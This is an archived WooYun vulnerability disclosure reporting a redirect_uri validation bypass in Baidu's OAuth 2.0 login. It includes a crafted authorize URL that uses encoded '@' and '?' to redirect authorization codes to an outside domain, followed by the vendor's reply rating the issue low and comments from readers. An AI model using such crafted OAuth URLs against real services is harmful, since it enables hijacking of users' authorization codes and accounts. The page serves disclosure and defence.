当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-045939

漏洞标题:绕过百度OAuth2.0认证的redirect_uri限制劫持帐号token

相关厂商:百度

漏洞作者: 超威蓝猫

提交时间:2013-12-15 12:51

修复时间:2014-01-29 12:52

公开时间:2014-01-29 12:52

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-15: 细节已通知厂商并且等待厂商处理中
2013-12-15: 厂商已经确认,细节仅向厂商公开
2013-12-25: 细节向核心白帽子及相关领域专家公开
2014-01-04: 细节向普通白帽子公开
2014-01-14: 细节向实习白帽子公开
2014-01-29: 细节向公众公开

简要描述:

绕过百度OAuth2.0认证的redirect_uri限制劫持帐号token

详细说明:

这里是通过百度来登录爱奇艺的链接:

http://openapi.baidu.com/oauth/2.0/authorize?confirm_login=1&response_type=code&redirect_uri=http%3A%2F%2Fpassport.iqiyi.com%2Foauth%2Fcallback.php%3Ffrom%3D1&state=60ecc48c7737bdeaba5d7f499e0392d6&display=page&client_id=VdUQE9922EiS7Qb5N7oFGX8s


其中,redirect_uri与client_id、state这两个参数是绑定的,如果更改redirect_uri为其他域名,则会提示"Invalid redirect uri"

b1.jpg


漏洞存在于redirect_uri参数。
redirect_uri参数可以利用%40字符和%3F字符来绕过有效性检查。
我们构造一个地址:

http://openapi.baidu.com/oauth/2.0/authorize?confirm_login=1&response_type=code&redirect_uri=http%3A%2F%2Fpassport.iqiyi.com%40www.wooyun.org%3Fpassport.iqiyi.com%2F&state=60ecc48c7737bdeaba5d7f499e0392d6&display=page&client_id=VdUQE9922EiS7Qb5N7oFGX8s


其中,redirect_uri参数解码后为:

http://passport.iqiyi.com@www.wooyun.org?passport.iqiyi.com/


访问改地址,可以看到并没有提示redirect_uri非法,成功绕过了有效性检查。

漏洞证明:

访问上文中我们构造的地址:

b2.jpg


登录我们的百度帐号并进行授权,成功跳转到了我们构造的地址,token泄漏:

b3.jpg


危害:黑客可以精心构造一个页面来记录、劫持用户的token,进而控制用户的帐号。

修复方案:

加强对redirect_uri的校验。
另:近期我针对该类型的redirect_uri跳转缺陷进行了检测,陆续提交了各大厂商此类型的OAuth漏洞,也是大部分厂商也给予了较高的RANK评价,有的厂商还寄送了礼物表示感谢。我长期以来也有关注乌云上有关百度的安全事件,私以为百度针对大部分安全事件给予白帽子们的RANK评价普遍偏低,不太合理。以至于我在一些技术交流群中看到"百度给的分那么低我提交个毛,还不如卖给黑产"此类言论,望百度以正确积极的态度来尊重白帽子们的辛勤劳动。

版权声明:转载请注明来源 超威蓝猫@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2013-12-15 15:05

厂商回复:

鉴于以下几点,我们认为该漏洞为低危:
1. OAuth鉴权分为两种方式,一种是authorization code的形式,也就是超威蓝猫演示的这种。在这种方式下,绕过redirect uri可以获取authorization code,但是需要有应用的secret key才能进一步换取access token。
2. implicit grant的授权方式。在该方式下,通过应用的appid就能换取access token。但是在该方式下,redirect uri需要匹配注册回调地址的全路径。这种绕过方式没有效果。
感谢对百度安全的支持。

最新状态:

暂无


漏洞评价:

评论

  1. 2013-12-15 13:15 | d4rkwind ( 路人 | Rank:8 漏洞数:2 | 关注web 安全,产品安全)

    顶,不过劫持了redirect_uri,最终获取的应该是code?而非access_token?必须拿到sk才有大的危害?

  2. 2013-12-15 15:18 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @d4rkwind 貌似的确是这样的

  3. 2013-12-15 15:51 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    @d4rkwind 受教了

  4. 2013-12-15 16:53 | 233 ( 路人 | Rank:14 漏洞数:4 | 小孩子看了根本把持不住)

    --“百度,因你更安全”

  5. 2014-01-26 16:06 | qwerty ( 普通白帽子 | Rank:116 漏洞数:16 | 已注销)

    这个拿到的应该是authorization_code ,最后还有一步 是第三方应用使用authorization_code去跟服务提供商交换access_token。你不知道第三方应用的secret,拿到这个code也没啥用吧。 而且现在callback里都加了state参数,会进行session验证的。也没办法进行csrf,劫持账号